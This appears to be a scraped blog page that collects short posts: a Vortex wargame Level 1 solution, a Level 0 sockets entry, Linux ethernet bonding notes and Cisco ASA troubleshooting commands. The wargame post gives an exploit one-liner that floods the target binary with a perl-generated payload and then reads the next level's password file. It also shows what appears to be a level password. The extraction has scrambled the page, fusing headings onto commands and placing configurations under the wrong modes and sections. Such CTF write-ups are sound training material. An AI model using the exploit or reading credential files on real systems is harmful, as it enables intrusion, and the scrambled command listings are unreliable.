#ssh vortex1@vortex.labs.overthewire.org
477123717533624633
$file /vortex/vortex1
$(for i in `seq 1 10`; do perl -e 'print "\x5c"x89000000'; done; perl -e 'print "\x21"'; cat) | /vortex/vortex1
/usr/bin/whoami
/bin/cat /etc/vortex_pass/vortex2
# Vortex wargame: Level 1
Labels:
overthewire,
vortex,
wargame
# Vortex wargame: Level 0
#cat v0.c
#gcc -o v0 v0.c
#./v0 vortex.labs.overthewire.org 5842
Labels:
overthewire,
sockets,
vortex,
wargame
# Linux ethernet bonding configuration
Software
#Bonding modes and switch configuration dependencyapt-get install ifenslave-2.6
#modprobe bonding
mode 0 (rr): etherchannel mode on
mode 1 (a-b): access port
mode 2 (xor): etherchannel mode on
mode 3 (broadcast): ¿?
mode 4 (LACP): etherchannel mode active
mode 5 (TLB): access port
mode 6 (ALB): access port
Balance-xor or mode 2
# cat /etc/network/interfaces
Switch(config)#802.3ad or mode 4 (LACP)port-channel load-balance src-dst-port
Switch(config)#interface range fa0/1-4
Switch(config-if-range)#channel-group 1 mode on
# cat /etc/network/interfaces
Switch(config)#Balance-tlb or mode 5 (Adaptive transmit load balancing)port-channel load-balance src-dst-ip
Switch(config)#interface range fa0/1-4
Switch(config-if-range)#channel-group 1 mode active
# cat /etc/network/interfaces
- No switch configuration needed.- For each slave interface, the host sends three LLC frames per second, 60 bytes of size for each one.
- Each frame uses the MAC of the slave interface as source and destination address.
- The IP packets do not update the ARP table.
- From host view, packets are transmited for each slave interface and received only for one.
- Traffic received is influenced by sending ARP requests to hosts in the same VLAN.
Balance-alb or mode 6 (Adaptive load balancing)
# cat /etc/network/interfaces
- No switch configuration needed.- For each slave interface, the host sends three LLC frames per second, 60 bytes of size for each one.
- Each frame uses the MAC of the slave interface as source and destination address.
- The IP packets do not update the ARP table.
- From host view, packets are transmited and received for each slave interface.
- Traffic received is influenced by sending ARP requests to hosts in the same VLAN.
Reference
https://www.kernel.org/doc/Documentation/networking/bonding.txt
Labels:
bonding,
etherchannel,
linux
# ASA troubleshooting commands
Resource use
#Hardware and license informationshow cpu usage detailed
#show memory
#show blocks
#Connections and translationsshow version
#show module all
#show mode
#Dropsshow conn
! idle == no packets received for the last x seconds #show perfmon
#show nat
! idle == last conn created was x seconds ago ! i-dynamic.timeout == will begin when the last conn is removed (3 hours) ! r-portmap.timeout == will begin when the last conn is removed (30 seconds) ! s-static.timeout == does not have #show xlate
#show local-host
#High availabilityshow service-policy
#show asp drop
#show logging
# show failover
Interface information#Debugshow ip
#show nameif
#show traffic
#Loggingterminal monitor
! SSH sessions #debug icmp trace
#debug arp
#debug esmtp
#debug http
(config)#Packet capturelogging enable
(config)#logging timestamp
(config)#logging buffered debugging
(config)#logging buffer-size 65000
#show logging
(config)#Packet-tracertaccess-list capture_acl extended permit ip host 1.1.1.1 host 2.2.2.2
(config)#access-list capture_acl extended permit ip host 2.2.2.2 host 1.1.1.1
#capture capture_name interface interface_name access-list capture_acl
#clear capture capture_name
#show capture capture_name
! wget -O capture_name.pcap --user=asa_user --password=asa_password https://asa_ip/capture/capture_name/pcap #no capture capture_name
# packet-tracer input interface_name tcp 1.1.1.1 1234 2.2.2.2 5678
VPN#show crypto isakmp sa
#show crypto ipsec sa
Labels:
asa,
cisco,
commands,
troubleshooting
Subscribe to:
Posts (Atom)